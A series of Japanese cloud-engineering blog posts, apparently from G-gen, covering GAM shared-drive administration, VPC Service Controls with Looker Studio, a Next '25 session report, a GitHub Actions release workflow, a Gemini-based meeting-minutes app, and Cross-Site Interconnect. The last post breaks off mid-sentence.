出力例 Group: test-security@miurak-test.com, Add 1 Member Group: test-security@miurak-test.com, Member: taro.yamada@miurak-test.com, Added: Role: MEMBER 参考 : Add members to a group 共有ドライブの作成 共有ドライブの作成 以下コマンドで共有ドライブを作成できます。 # 共有ドライブの新規作成 gam create shareddrive " 営業部共有ドライブ " 　 # 出力例 User: admin@miurak-test.com, Shared Drive Name: 営業部共有ドライブ, Shared Drive ID: XXXXX, Created Waiting for Shared Drive creation to complete . Sleeping 10 seconds 参考 : Create a Shared Drive 共有ドライブへメンバーの追加 共有ドライブの ID を特定する必要があります。以下コマンドで前手順で作成した共有ドライブの ID（ id ）を確認します。 gam print shareddrives | grep " 営業部共有ドライブ " 　 # 出力結果 Getting all Organizational Units, may take some time on a large Google Workspace Account... Got 2 Organizational Units Getting all Shared Drives, may take some time on a large Google Workspace Account... Got 1 Shared Drive... User,id,name,backgroundImageLink,capabilities.canAddChildren,capabilities.canChangeCopyRequiresWriterPermissionRestriction,capabilities.canChangeDomainUsersOnlyRestriction,capabilities.canChangeDriveBackground,capabilities.canChangeDriveMembersOnlyRestriction,capabilities.canChangeSharingFoldersRequiresOrganizerPermissionRestriction,capabilities.canComment,capabilities.canCopy,capabilities.canDeleteChildren,capabilities.canDeleteDrive,capabilities.canDownload,capabilities.canEdit,capabilities.canListChildren,capabilities.canManageMembers,capabilities.canReadRevisions,capabilities.canRename,capabilities.canRenameDrive,capabilities.canResetDriveRestrictions,capabilities.canShare,capabilities.canTrashChildren,colorRgb,createdTime,hidden,orgUnit,orgUnitId,restrictions.adminManagedRestrictions,restrictions.copyRequiresWriterPermission,restrictions.domainUsersOnly,restrictions.driveMembersOnly,restrictions.sharingFoldersRequiresOrganizerPermission admin@miurak-test.com,XXXXXXX,営業部共有ドライブ,https://ssl.gstatic.com/team_drive_themes/donut_coffee_background.jpg,True,False,False,True,False,False,True,True,True,True,True,True,True,True,True,True,True,True,True,True,#f06292,2025-04-03T08:43:13Z,False,/,03ph8a2z1cgdtbo,False,False,False,False,False 参考 : Display Shared Drives 以下コマンドで共有ドライブにユーザーを管理者（ organizer ）として追加します。 # 構文 gam user " 管理者のメールアドレス " add drivefileacl id " ドライブの ID " user " 追加するユーザーのメールアドレス " role " 権限 " 　 # 例 gam user miura@dev.g-gen.co.jp add drivefileacl id XXXXXX user miuratest12345@dev.g-gen.co.jp role organizer 　 # 出力結果 User: miura@dev.g-gen.co.jp, Add 1 Drive File/Folder ACL User: miura@dev.g-gen.co.jp, Drive File/Folder ID: XXXXXX, Permission ID: miuratest12345@dev.g-gen.co.jp, Added 三浦はな子 id: XXXXXX type: user emailAddress: miuratest12345@dev.g-gen.co.jp domain: dev.g-gen.co.jp role: organizer permissionDetails: role: organizer type: member inherited: False photoLink: https://lh3.googleusercontent.com/a/ XXXXXX =s64 deleted: False 参考 : Manage Shared Drive access 共有ドライブの確認 三浦 健斗 (記事一覧) クラウドソリューション部 2023年10月よりG-genにジョイン。元オンプレ中心のネットワークエンジニア。ネットワーク・セキュリティ・唐揚げ・辛いものが好き。

G-gen の min です。Looker Studio でデータソースに対する認証にサービスアカウントを使っているとき、VPC Service Controls による IP アドレス制限がどのように適用されるかを検証しました。 概要 環境構築 サービスアカウントの作成 VPC SC の設定 動作確認 注意点 概要 当記事では、Looker Studio でデータソースに対する認証にサービスアカウントを使っているとき、VPC Service Controls（以下、VPC SC）による接続元 IP アドレス制限がどのように適用されるかを検証しました。 検証の結果、VPC SC 環境下では、Looker Studio からデータソースへの認証に サービスアカウントを使っている場合でも、VPC SC による IP アドレス制限が適用され 、許可した接続元 IP アドレス以外からはデータにアクセスできないことが確認できました。 以下は、検証環境のイメージ図です。 Looker Studio での VPC SC による IP アドレス制限については、以下の記事も参考にしてください。 blog.g-gen.co.jp 環境構築 サービスアカウントの作成 Looker Studio から、サービスアカウントを使ってデータソースに認証させます。 サービスアカウント作成と IAM ロール付与の手順は、以下の記事の「パターン2」の項をご参照ください。 参考 : VPC Service Controls の IP アドレス制限と Looker Studio - G-gen Tech Blog - パターン2 VPC SC の設定 VPC Service Controls 境界を以下のように設定します。 VPC SC の内向きルールは、以下のように設定します。 サービスアカウント looker-studio-sa@<プロジェクト ID>.iam.gserviceaccount.com を ID として設定します。 「ソース」のアクセスレベルで、許可する IP アドレスを設定します。 動作確認 許可された IP アドレスからレポートを表示した場合、データが表示されることを確認しました。 許可されていない IP アドレスからレポートを表示すると、Service Control のエラーが表示され、データは表示されません。 なお、VPC SC の適用を確認するには、データの更新など、Looker Studio から BigQuery に対してクエリが発行される操作を実行してください。 組織の VPC Service Controls では、このコンポーネントで使用されているデータセットへのアクセスを禁止しています。 監査ログで接続元 IP アドレスを確認すると、接続元 IP アドレスである CallerIP には、検証で使用した自宅の IP アドレスが表示されていました。 監査ログの詳細については、以下の記事も参照してください。 参考 : Google Cloudの監査ログの長期保管とアクセス監査を考える - G-gen Tech Blog - （１）ログフォーマットの把握 参考 : Cloud Audit Logsを解説。Google Cloud(GCP)の証跡管理 - G-gen Tech Blog 注意点 Looker Studio のスケジュール配信機能を使用する場合は注意が必要です。配信メールは受信できますが、データは表示されません。 これは、Looker Studio のスケジュール配信では、IP アドレス情報が VPC SC に渡されないためです。 参考 : スケジュール設定されたメール配信に関する制限事項 佐々木 愛美 (min) (記事一覧) クラウドソリューション部 データアナリティクス課。2024年7月 G-gen にジョイン。G-gen 最南端、沖縄県在住。最近覚えた島言葉は、「マヤー（猫）」。

G-gen の奥田です。本記事は Google Cloud Next '25 in Las Vegas の3日目に行われたブレイクアウトセッション「 Conversational agents: Build and deploy no-code/low-code AI Agents 」のレポートです。 他の Google Cloud Next '25 の関連記事は Google Cloud Next '25 カテゴリ の記事一覧からご覧いただけます。 セッションの概要 Customer Engagement Suite とは 機能の紹介 ハイブリッドエージェントを構築するための統合コンソール 合計100種類以上のコネクタと接続可能（OOTB Connectors） 音声との低レイテンシな統合 Hybrid Agents 顧客事例 構成図 成果 質疑応答 質問1: Conversational Agents 統合の背景 質問2: AI Application への改名の背景 セッションの概要 本セッションでは、 Customer Engagement Suite（CES）サービスの紹介と新機能の紹介及び顧客事例の紹介が行われました。 Customer Engagement Suite とは Customer Engagement Suite （CES）とは、EC サイトのチャットボットサービスの構築といった、顧客対応サービスのための基盤をローコードあるいはノーコードで開発するためのサービス群です。 以下の写真は、セッションで紹介された、Customer Engagement Suite（CES）の全体像です。 Customer Engagement Suite に含まれているサービスは以下となります。 Conversational Agents Agent Assist Conversational Insights and Quantily AI Conversational Agents は、以前の名称の Vertex AI Agents （Playbook とデータストア機能） コンソールと、Dialogflow CX コンソールが統合されたものです。 参考 : Google Cloudで最新為替を取得するエージェントを作成してみた - G-gen Tech Blog - Conversational Agents とは また、名前の変遷の経緯については質疑応答にて確認しましたので、後述の質疑応答段落を参照してください。 Customer Engagement Suite を導入した顧客からは、以下のビジネスインパクトがあったと述べられました。 意図検出の精度 98% セルフサービス完結率 60% チャットでのCSAT（顧客満足度）が向上 80% 店舗への電話問い合わせ件数削減 50% 離脱率の低下 62% 平均処理時間の短縮 40% 機能の紹介 セッションでは、 Conversational Agents の新しい機能について紹介されました。 ハイブリッドエージェントを構築するための統合コンソール こちらは、2025年の第1クオータまでに公開される予定の機能です。 生成 AI とルールベースのコントロールを単一のコンソールに統合し、マルチモーダルサポート、共同ブラウジングと音声インタラクションのためのライブストリーミング、そして全体的な低レイテンシを実現します。 合計100種類以上のコネクタと接続可能（OOTB Connectors） OOTB Connectors とは Out-Of-The-Box Connectors の略で、ソフトウェア製品やプラットフォームに標準で組み込まれる、 すぐに使用できるコネクタ のことです。 30種類以上のデータ取得コネクタ、70種類のアクションコネクタとの接続が可能となります。 音声との低レイテンシな統合 Google DeepMind 社と協力し、自然な人口音声による音声での回答を2025年以内に実現します。 音声モデル （STT） の文字起こし機能の強化 音声モデル （TTS） の音声機能の強化 音声は 日本語も対応予定 とのことです。 Hybrid Agents Generative Playbooks 自然言語によるプロンプト、サンプル、ツールを使って、優れた自然言語アプリケーションを開発できます。 Playbook を用いてエージェントを開発した事例は、以下の記事で紹介しています。 blog.g-gen.co.jp Code blocks 厳格なルールとカスタムビジネスロジックを埋め込むことで、プロンプトを強化し、コードブロックをプレイブックに組み込みます。 Mix & Match 既存の Dialogflow CX フローと新しい Generative Playbooks を組み合わせて、ハイブリッドな会話型エージェントを実現します。 顧客事例 フランスの電気通信事業者 であるブイグテレコム社にて、携帯電話の販売サイトに Conversational Agents を導入した事例が発表されました。 構成図 成果 同社では、Conversational Agents の導入により、たった5ヶ月の実装期間でエージェントを作成することができただけではなく、 期待を上回る成果を得ることができた と紹介されました。 夜間など、店舗が閉店している間に10,000件以上の会話があり、人間による従来のセールスとエージェントを比較することができました。その成果は、人間による従来のセールスと変わらなかったと発表されました。 質疑応答 質問1: Conversational Agents 統合の背景 質問 Dialogflow CX コンソール と Vertex AI Agents （Playbook とデータストア機能）が Conversational Agents に統合された背景を知りたい。 回答 ユーザーがプロダクションまで進む過程をできるだけシンプルにするために、これらを可能な限り統一しました。 従来は Vertex AI Agents で開発したエージェントを Dialogflow CX コンソールに統合する必要がありましたが、「Conversational Agents」という1つのプラットフォームに統一して、集約して開発することが可能です。 質問2: AI Application への改名の背景 質問 Vertex AI Agent Builder のコンソールが 「AI Application」となった背景を知りたい。 ※Vertex AI Agent Builder は、2025年4月に AI Application と改名された 参考 : AI Applications（Vertex AI Search / Agents）を徹底解説！ - G-gen Tech Blog - 名称の変遷 回答 開発者向けサービスと、非開発者向けサービスを分けるためです。 Google 社として、開発者だけではなく非開発者にもサービスを知ってもらいたいという思いがあります。AI Application は主に非開発者向けサービス群となっており、以下のサービスが含まれます。 Google Agentspace Agent Designer Customer Engagement Suite 補足 Agent Designer は Google Agentspace に組み込みの、ノーコードでエージェントを開発できる機能です。Google Cloud Next '25 で新たに発表されました。 参考 : Create a no-code agent with Agent Designer 参考 : Google Agentspaceを徹底解説！ - G-gen Tech Blog 開発者向けサービスとしては、今回の Google Cloud Next '25 で発表された Agent Development Kit（ADK）などがあります。 どちらのサービスも、内部ではすべて Vertex AI をベースに動いており、基本的には Vertex AI が公開する Web API を利用します。 参考として、3日目に開催された別セッション『Build and deploy multi-agent applications with Vertex AI』で発表されたスライドを掲載します。 Risa (記事一覧) クラウドソリューション部クラウドデベロッパー課 Google Cloudの可能性に惹かれ、2024年4月G-genにジョイン。 Google Cloud Partner Top Engineer 2025 Google Cloud 11 資格保有。日々修行中です！ Follow @risa_hochiminh

G-gen の武井です。当記事では GitHub の release イベントをトリガーにして、Docker イメージを Artifact Registry にプッシュする方法について解説します。 はじめに 概要 ワークフロー GitHub Actions ワークフロー 概要 release とは 構成 ソースコード 免責事項 ディレクトリ構成 ワークフロー（release.yaml） デモ リリース作成 ワークフロー実行 関連記事 はじめに 概要 当記事では、GitHub の release イベントが発生すると、それをトリガーとして Docker イメージをビルドしたのち、Artifact Registry にプッシュするワークフローについて解説します。 ワークフロー GitHub Actions で自動化したい処理とその内容・条件を定義したものを ワークフロー と言います。 ワークフローは YAML 形式 で記述して .github/workflows ディレクトリ に配置することで利用できます。 参考： ワークフローについて GitHub Actions GitHub Actions とは、ソースコード管理ツールである GitHub に組み込まれた機能の一つで、リポジトリで管理されるソースコードをもとに CI/CD （継続的インティグレーション / 継続的デリバリー）を実現します。 参考： GitHub Actions の概要 ワークフロー 概要 今回作成するワークフローの概要（処理の流れ）は以下のようになります。 リリースの検知 GitHub の release イベントが発生したときにワークフローをトリガーします。 Docker イメージのビルド ワークフロー内で Docker を使用してイメージを作成します。 Google Artifact Registry にプッシュ ビルドした Docker イメージを Artifact Registry にアップロードします。 release とは GitHub のリリース機能は、 ソフトウェアのリリース管理 を行うための仕組みで、リリースタグを用いて特定のバージョンを管理できます。 本ワークフローでは、このリリースタグを活用し、新しいリリースが作成されるたび（ release イベントの発生時）に Docker イメージをビルドし、同じリリースタグを付与したイメージとして Artifact Registry にプッシュします。 これにより、GitHub のリリース管理とコンテナのバージョニングを統合し、一貫性のある運用が可能になります。 参考： リリースについて 参考： release 構成 ワークフローと Google Cloud の関係性を表すと以下の通りです。 ソースコード 免責事項 当記事で紹介するプログラムのソースコードは、ご自身の責任のもと、使用、引用、改変、再配布して構いません。 ただし、同ソースコードが原因で発生した不利益やトラブルについては、当社は一切の責任を負いません。 ディレクトリ構成 . ├── .github │ └── workflows │ └── release.yaml └── apps ├── demoapp1 │ ├── Dockerfile │ ├── main.py │ └── requirements.txt └── demoapp2 ├── Dockerfile ├── main.py └── requirements.txt ワークフロー（release.yaml） 50行目 の Workload Identity プールおよびプロバイダの作成方法は以下の記事をご参照ください。 blog.g-gen.co.jp name : Build and Push images with release tag # リリースイベント（published）をトリガーにワークフローを実行 on : release : types : [ published ] jobs : # Google Cloud SDK のセットアップジョブ sdk : runs-on : ubuntu-latest steps : - name : 'Set up Cloud SDK' uses : 'google-github-actions/setup-gcloud@v2' with : version : '>= 363.0.0' # Dockerイメージのビルドおよび Artifact Registry へのプッシュジョブ build-and-push : runs-on : ubuntu-latest timeout-minutes : 300 needs : [ sdk ] strategy : matrix : # 複数のアプリケーション（例: demoapp1, demoapp2）に対して並列実行 appName : - demoapp1 - demoapp2 permissions : id-token : write contents : read env : REPO : 'release-event-demo-repository' GAR : 'asia-northeast1-docker.pkg.dev/yutakei' steps : # ステップ1: リポジトリのコードをチェックアウト - uses : actions/checkout@v4 name : 'Checkout code' id : checkout-code # ステップ2: Google Cloud に認証（Workload Identity を利用） - uses : 'google-github-actions/auth@v2' name : 'Authenticate with Google Cloud' id : auth-gcloud with : project_id : yutakei workload_identity_provider : 'projects/933617552181/locations/global/workloadIdentityPools/gha-demo-pool/providers/gha-demo-provider' # ステップ3: アプリケーションディレクトリのパスを環境変数 APP_DIR に設定 - name : 'Set up app dir name' id : set-app-dir run : echo "APP_DIR=apps/${{ matrix.appName }}" >> $GITHUB_ENV # ステップ4: Dockerイメージ名として利用する変数 IMAGE_NAME を設定 - name : 'Set up app name variable' id : set-app-name run : echo "IMAGE_NAME=${{ matrix.appName }}" >> "$GITHUB_ENV" # ステップ5: Dockerイメージのビルド、タグ付け、Artifact Registry へのプッシュ - name : Build and Push image to Google Cloud Artifact Registry id : build-and-push-image run : | # Dockerクライアントで Artifact Registry へアクセスするための認証を設定 gcloud auth configure-docker asia-northeast1-docker.pkg.dev --quiet # APP_DIR 内のDockerfileを使ってイメージをビルド（linux/amd64プラットフォーム指定） docker build --platform linux/amd64 -t "${REPO}/${IMAGE_NAME}" ${APP_DIR} # ビルドされたイメージに、GitHubリリースタグ（github.ref_name）を付与 docker tag "${REPO}/${IMAGE_NAME}:latest" "${GAR}/${REPO}/${IMAGE_NAME}:${{github.ref_name}}" # タグ付けされたイメージをArtifact Registryにプッシュ docker push "${GAR}/${REPO}/${IMAGE_NAME}:${{github.ref_name}}" デモ リリース作成 ワークフローを起動するには、GitHub 上でリリースを作成します。 1. GitHub のリポジトリページにアクセスし、「Releases」タブをクリック 2. 「New release」ボタンをクリック 3. 「タグ」を作成（例: v1.0.0 ） 4. 「タイトル」などを入力（任意）し、「Publish release」をクリックし ワークフロー実行 リリース作成後、ワークフローが起動します。ワークフローは「Actions」タブから確認できます。 demoapp1 と demoapp2 に対し、リリースタグ（ v1.0.0 ）付きの Docker イメージをビルドし、Artifact Registry にプッシュしています。 関連記事 blog.g-gen.co.jp 武井 祐介 (記事一覧) クラウドソリューション部クラウドエンジニアリング課。 Google Cloud Partner Top Engineer 2025 選出。 趣味はロードレースやサッカー観戦、あとはゴルフと筋トレ。 Follow @ggenyutakei

当記事では、 Google Meet の文字起こし機能 と、Google の最新 AI モデル Gemini 2.5 Pro を組み合わせた、議事録作成アプリの事例を紹介します。 はじめに 議事録作成アプリ なぜ議事録作成に AI なのか？ アプリを実装しない選択肢 Google Meet の文字起こし機能 主な特徴 文字起こしの開始方法 文字起こしのデータ Gemini 2.5 Pro による要約 システムプロンプト Vertex AI Studio での試験 Web アプリケーションの開発 streamlit を使ったチャットアプリ モデル名の修正 システムプロンプトの修正 アプリケーションの実行画面 使い方 はじめに 議事録作成アプリ 会議の議事録作成には、多くの時間がかかります。重要な決定事項やタスクを正確に記録し、関係者に共有することはビジネスで不可欠です。しかし、その手間は大きな負担になりがちです。 この課題を解決する方法として、 Google Meet の文字起こし機能 と、Google の最新 AI モデル Gemini 2.5 Pro を組み合わせた、議事録作成の自動化を試みました。当記事では、会議の文字起こしデータから、要点を押さえた分かりやすい議事録を自動生成するアプリケーションを紹介します。 なお、当アプリは Python の Web アプリ向けフレームワークである Streamlit を使って実装しました。 なぜ議事録作成に AI なのか？ 従来の議事録作成には、以下のような課題がありました。 課題 概要 時間がかかる 会議中のメモ取り、録音の聞き直し、清書、校正、配布まで、一連の作業に多くの時間と労力がかかります。 聞き逃し・認識違い 会議に集中しながらメモを取るのは困難です。そのため、重要な発言を聞き逃したり、内容を誤って認識したりする可能性があります。特に、専門用語が多い会議や、議論が白熱した場合に起こりやすいです。 要点の整理が難しい 決定事項、重要な意見、宿題（ToDo）などを的確に抽出し、分かりやすく整理する必要があります。しかし、長時間の会議では、主要なトピックや決定事項を後から整理するのは大変です。 これらの課題を、Google Meet の文字起こし機能と Gemini 2.5 Pro を使って解決することが、今回のコンセプトです。 Google Meet の文字起こし機能と Gemini 2.5 Pro を組み合わせて利用することで、以下のメリットが期待できます。 時間がかかり、集中力を要する文字起こしや要約作業から解放される Gemini 2.5 Pro が文字起こしされた長文テキストデータを解析し、会議の要点、決定事項、主要な議論、ネクストアクション（ToDo）などを自動で抽出・要約できる 議事録作成の負担が減ることで、より会議の議論そのものに集中できる システムプロンプトにより一貫したロジックで要約・整理を行うため、作成者による質のばらつきが少なくなる ただし、音声認識の精度（専門用語、早口、複数人の同時発言など）や Gemini による要約・抽出の精度は 100% ではありません。必ず、 人による確認と修正が必要 です。 アプリを実装しない選択肢 当記事で紹介する議事録の整理アプリは、Google Meet の文字起こし機能で書き起こしたテキストを、Gemini 2.5 Pro で整形するものです。 この整形は、アプリを開発しなくても、Gemini アプリの Gems 機能 で実現できます。Gems に議事録整形のプロンプトを登録しておくことで、プロンプトを毎回入力しなくても、決まったフォーマットで議事録を整形できます。Gems の詳細は、以下の記事を参照してください。 blog.g-gen.co.jp 独自アプリの実装を行わない場合は、Gems の利用を検討してください。一方で、当記事のようにアプリを実装すると、以下のようなメリットがあります。 統一したプロンプトを利用者に使ってもらうことができる 使用モデルを固定できる 様々なカスタマイズや機能（音声読み上げなどの処理）を実装できる より高度なカスタマイズや機能を実装する場合は当記事のようにアプリを実装し、そうでないときは Gemini アプリ（Gems）を使うなどの使い分けが可能です。 Google Meet の文字起こし機能 主な特徴 Gemini 2.5 Pro への入力となる会議のテキストデータは、Google Meet に標準搭載されている文字起こし機能を使用します。 自動テキスト化 : 会議が始まると、特別な操作なしに（または簡単な操作で）発言が自動的に文字に変換されます。 Google ドキュメントとして自動保存 : 会議終了後、文字起こし内容は Google ドキュメントとして、会議主催者の Google Drive 内「Meet Recordings」フォルダに自動で保存されます。 参加者への自動共有 : 作成されたドキュメントは、会議の招待客に閲覧権限付きで自動的に共有されます。そのため、個別に共有する手間が省けます。 発言者の識別 : 多くの場合、誰が発言したかも記録されます。そのため、「誰の発言か」を後から追いやすくなります。 この機能により、会議内容の大部分をテキストデータとして簡単に取得できます。 参考 : Google Meet で文字起こしを使用する ただし、AIによる自動文字起こしのため、 専門用語の誤認識 や、 話者によっては精度が変動する 可能性がある点には留意が必要です。 文字起こしの開始方法 Google Meet の文字起こしは、会議の主催者または共同主催者が、Meet 会議画面の会議ツールから開始できます。 Meet の文字起こし機能 文字起こしを選択すると、文字起こしに使用する言語の選択が可能です。 文字起こしのデータ 会議が終了すると、文字起こしされた内容は、自動的に会議主催者の Google ドライブ内に Google ドキュメント形式で保存されます。また、会議に招待されていた参加者（同じ組織内）には、自動的に Google ドキュメントへのアクセス権が、編集者として付与されます。 カレンダーに登録されている会議の場合、そのカレンダーの予定にも文字起こしドキュメントが添付されます。 ある日の社内会議を文字起こししたデータ 上記は、実際の文字起こしした内容です。Meet 参加者の発言が文字になっていることが分かります。ただし、完璧な精度は保証されません。また、このままでは議事録として使用するのは難しい状態です。 Gemini 2.5 Pro による要約 システムプロンプト Gemini 2.5 Pro は、非常に長いコンテキスト（最大 100 万トークン）を理解できます。また、複雑な指示にも高い精度で従うことができる、強力な AI モデルです。 今回のアプリケーションでは、Gemini 2.5 Pro に対して、以下のようなシステムプロンプト（AI への指示書）を与えることで、議事録作成に特化した処理を実行させます。 あなたは議事録作成のプロフェッショナルです。 会議で議論された主要なトピックと決定事項を要約し、誰が読んでも会議の内容が理解できる議事録を作成できます。 # 制約条件 ・文字起こしデータは AI によるもので、一部の書き起こしミスが含まれています。この点を考慮して、文脈を理解し、内容を整理してください。 ・会議の基本情報（日時、場所、出席者など）を最初に記載してください。 ・会議での主要な「決定事項」を冒頭でまとめてください。 ・次に、「アクションアイテム」をまとめてください。 ・その後、各議題の見出しを設け、議題ごとに誰が行った発言かを記録し、発言内容を詳述してください。 ・見出しや箇条書きを使用し、情報が検索しやすく、読みやすい構造で記述してください。 ・文書は簡潔かつ明瞭に記述してください。 ・専門用語や略語を使用する場合は、初回の使用時に定義を明記してください。 ・ケバ取りしてください。 ・文脈として意味が不明な箇所は、文脈的に相応しいと合理的に推測される内容に修正、または削除してください。 ・発言者の名前を記載するときは、さん付けでお願いします。 このシステムプロンプトにより、Gemini 2.5 Pro は単にテキストを要約するだけでなく、以下の点を考慮した質の高い議事録を作成します。 文字起こしミスの考慮 : AI による文字起こし特有の誤字や脱字、意味不明な箇所を文脈から判断し、適切に修正または削除します。 構造化された出力 : 決定事項、アクションアイテム、議題ごとの発言内容など、指定されたフォーマットに従って情報を整理します。 読みやすさ : 見出しや箇条書きを効果的に使用し、簡潔で分かりやすい文章を作成します。 ケバ取り : 「えーっと」「あのー」といった不要なフィラーワードを除去します。 Vertex AI Studio での試験 まずは、アプリのコンセプトが実現できるかを試験するため、Google Cloud コンソールから利用できる Vertex AI Studio で、実際にプロンプトと文字起こしデータを入力し、精度を確認します。 システムプロンプトに前述の指示を与えて、文字起こしされたテキストをプロンプトに投入し、Gemini 2.5 Pro で議事録の作成を依頼します。 Vertex AI（Web コンソール）でシステムプロンプトを設定 わずか数秒で、Gemini が文字起こしされたテキストの内容を解釈し、システムプロンプトの指示に従って出力されました。 システムプロンプトの指示に従って議事録を出力 Web アプリケーションの開発 streamlit を使ったチャットアプリ Google Meet の文字起こしデータを利用する Web アプリケーションのベース部分は、以下の記事を参照してください。 blog.g-gen.co.jp 上記の記事で紹介しているチャットボットアプリケーションから、以下の部分を修正し、議事録作成に特化した Web アプリケーションにします。 モデル名の修正 アプリケーションで使用する Gemini のモデルのデフォルトを Gemini 2.0 Pro から最新の Gemini 2.5 Pro に変更します。 修正後の Python コード # セッション状態の初期化 # model_default = "gemini-2.0-pro-exp-02-05" model_default = "gemini-2.5-pro-exp-03-25"　# Gemini 2.5 Pro をデフォルト値に指定 アプリケーションで使用する Gemini のモデル選択に、新しく Gemini 2.5 Pro を追加します。 修正後の Python コード # サイドバー　オプションボタンでモデル選択 model = st.sidebar.radio("モデル選択:", ( "gemini-2.5-pro-exp-03-25", # Gemini 2.5 Pro のモデルを追加 "gemini-2.0-pro-exp-02-05", "gemini-2.0-flash-001" ), key="model_select") st.sidebar.write("") システムプロンプトの修正 system_prompt.txt の内容を、以下の内容に修正して保存します。 あなたは議事録作成のプロフェッショナルです。 会議で議論された主要なトピックと決定事項を要約し、誰が読んでも会議の内容が理解できる議事録を作成できます。 # 制約条件 ・文字起こしデータは AI によるもので、一部の書き起こしミスが含まれています。この点を考慮して、文脈を理解し、内容を整理してください。 ・会議の基本情報（日時、場所、出席者など）を最初に記載してください。 ・会議での主要な「決定事項」を冒頭でまとめてください。 ・次に、「アクションアイテム」をまとめてください。 ・その後、各議題の見出しを設け、議題ごとに誰が行った発言かを記録し、発言内容を詳述してください。 ・見出しや箇条書きを使用し、情報が検索しやすく、読みやすい構造で記述してください。 ・文書は簡潔かつ明瞭に記述してください。 ・専門用語や略語を使用する場合は、初回の使用時に定義を明記してください。 ・ケバ取りしてください。 ・文脈として意味が不明な箇所は、文脈的に相応しいと合理的に推測される内容に修正、または削除してください。 ・発言者の名前を記載するときは、さん付けでお願いします。 アプリケーションの実行画面 左サイドメニューで、新しく追加した Gemini 2.5 Pro のモデルを選択できます。 チャットボットの実行画面 使い方 Google Meet で文字起こし 会議を実施し、文字起こし機能を有効にして、会議後に Google ドキュメントとして保存します。 文字起こしデータをコピー 保存された Google ドキュメントから、文字起こしテキスト全体をコピーします。 Streamlit アプリケーションへアクセス ローカル環境または Google Cloud Run などにデプロイされた Web アプリへアクセスします データ貼り付け アプリケーション下部のチャット入力欄に、コピーした文字起こしデータを貼り付けます。 送信 画面上の送信ボタン、または Enter キーを押下します。 議事録生成 Gemini 2.5 Pro が処理を開始し、整形・要約された議事録がチャット欄に表示されます。ストリーミング表示にも対応しています。 確認・利用 生成された議事録の内容を確認し、必要に応じて微修正して利用します。 （オプション）音声確認 サイドバーで Text-to-Speech を有効にしている場合、生成された議事録が自動的に読み上げられます。 アプリケーションを使用して議事録を作成した結果 大津 和幸 (記事一覧) クラウドソリューション部 2022年4月にG-gen にジョイン。 前職まではAWSをはじめインフラ領域全般のなんでも屋。二刀流クラウドエンジニアを目指して、AWSのスキルをGoogle Cloudにマイグレーション中の日々。

G-gen の杉村です。Google Cloud の Cloud WAN（Cloud Wide Area Network）の構成要素である、 Cross-Site Interconnect を解説します。 概要 Cross-Site Interconnect とは 構成イメージ ユースケース 要件 構成要素 ワイヤー ワイヤーグループ クロスサイトネットワーク ワイヤーグループのトポロジ シングルワイヤー 冗長トポロジ ボックスアンドクロストポロジ ネットワークのトポロジ ハブアンドスポークトポロジ リンクトポロジ 詳細な設定 MTU 暗号化 構築 料金 概要 Cross-Site Interconnect とは Cross-Site Interconnect は、Google Cloud と専用線で接続されたオンプレミス拠点間を、レイヤ2で接続し、相互に通信できるようにする機能です。 参考 : Cross-Site Interconnect overview Cross-Site Interconnect は、Google の強力なバックボーンネットワークを Google Cloud ユーザーが利用可能になるというコンセプトのサービスである Cloud WAN （Cloud Wide Area Network）の1つの構成要素と位置づけられています。 参考 : Cloud WAN: AI 時代に適したネットワークでグローバル企業をつなぐ なお Cross-Site Interconnect は、既存の 通常の Cloud Interconnect とは別の専用線接続 を開設する必要がある点に注意してください。既存の接続から移行することができるか等については、当サービスの発表直後である2025年4月現在、情報が公開されていません。 構成イメージ Cross-Site Interconnect では、以下のような構成を取ることができます。 Cross-Site Interconnect 構成イメージ ユースケース オンプレミス拠点と Google Cloud の VPC ネットワークを接続する Cloud Interconnect （Dedicated Interconnect、Partner Interconnect）とは異なり、Cross-Site Interconnect は、世界中に張り巡らされた Google のネットワークを利用して、 オンプレミス拠点間を接続 するサービスです。 参考 : Cloud Interconnect の概要 参考 : Cloud Interconnect の基本を解説！ - G-gen Tech Blog Cross-Site Interconnect は、広帯域で信頼性の高い Google のネットワークを使い、異なる地域間のオンプレミスネットワーク同士を接続したい場合に用います。 ただし、Cross-Site Interconnect では、オンプレミスネットワークと VPC ネットワークを接続することは できません 。VPC ネットワークとの接続性を確保したい場合は、Cloud Interconnect や Cloud VPN（IPsec VPN）を検討します。なお Cloud Interconnect や Cloud VPN を使っている場合、Cross-Site Interconnect を使わなくても、 Network Connectivity Center の サイト間データ転送 機能を用いることで、Google Cloud に接続された複数のオンプレミス拠点間を通信させることが可能です。 複数のオンプレミス拠点と Google Cloud の間 で相互接続を確保したい場合は、Cloud Interconnect または Cloud VPN と Network Connectivity Center の採用を検討します。 参考 : Network Connectivity Center の概要 参考 : Network Connectivity Centerを徹底解説！- G-gen Tech Blog ただし、Network Connectivity Center によるサイト間データ転送は「ベストエフォートで実行」され「帯域幅やレイテンシは保証されません」としているのに対して、Cross-Site Interconnect では一般公開時に SLA が設定される見込みです（プレビュー時は SLA 未公開）。 参考 : サイト間データ転送の概要 - 考慮事項 参考 : Cloud WAN: Connect your global enterprise with a network built for the AI era 要件 Cross-Site Interconnect を利用するには、以下の要件を満たしている必要があります。 専用線のコロケーション施設が Cross-Site Interconnect でサポートされていること ネットワーク機器が以下に対応していること 10 Gbps 回線、シングルモード ファイバー、10GBASE-LR (1310 nm) または 100 Gbps 回線、シングルモード ファイバー、100GBASE-LR4 802.1Q VLAN（VLAN モードのワイヤグループを用いる場合） 既存の Cloud Interconnect 接続（Dedicated Interconnect、Partner Interconnect）は Cross-Site Interconnect で利用できない Cross-Site Interconnect 接続は、VPC ネットワークとは接続できない Cross-Site Interconnect は、サポートされているコロケーション施設でのみ、利用可能です。日本においてはアット東京の CC2 データセンターがサポートされています（2025年4月現在）。他に、米国のアッシュバーン、シカゴ、オーストラリアのシドニーの施設がサポートされています。 参考 : Colocation facilities for Cross-Site Interconnect 構成要素 ワイヤー ワイヤー は、L2 トラフィックを転送するための、個々の接続です。 ワイヤーは1つのワイヤーグループに所属します。 ワイヤーグループ ワイヤーグループ は、ワイヤーをグルーピングするオブジェクトです。 ワイヤーグループは、1つのクロスサイトネットワークに所属します。 ワイヤーグループの作成時には、後述のトポロジ（ シングル 、 冗長 、 ボックスアンドクロス ）から1つを選択します。 ワイヤーグループは設定として、 ワイヤーグループモード を持ちます。ワイヤーグループモードは、 ポートモード もしくは VLAN モード から選択します。 ポートモード では、ワイヤーグループはすべてのトラフィックを同じ宛先に送信します。ポートモードでは障害検出機能が利用可能で、ワイヤーの接続がロストした場合は、グループ内の別の正常なワイヤにフェイルオーバーします。 VLAN モード では、ワイヤーグループが複数の 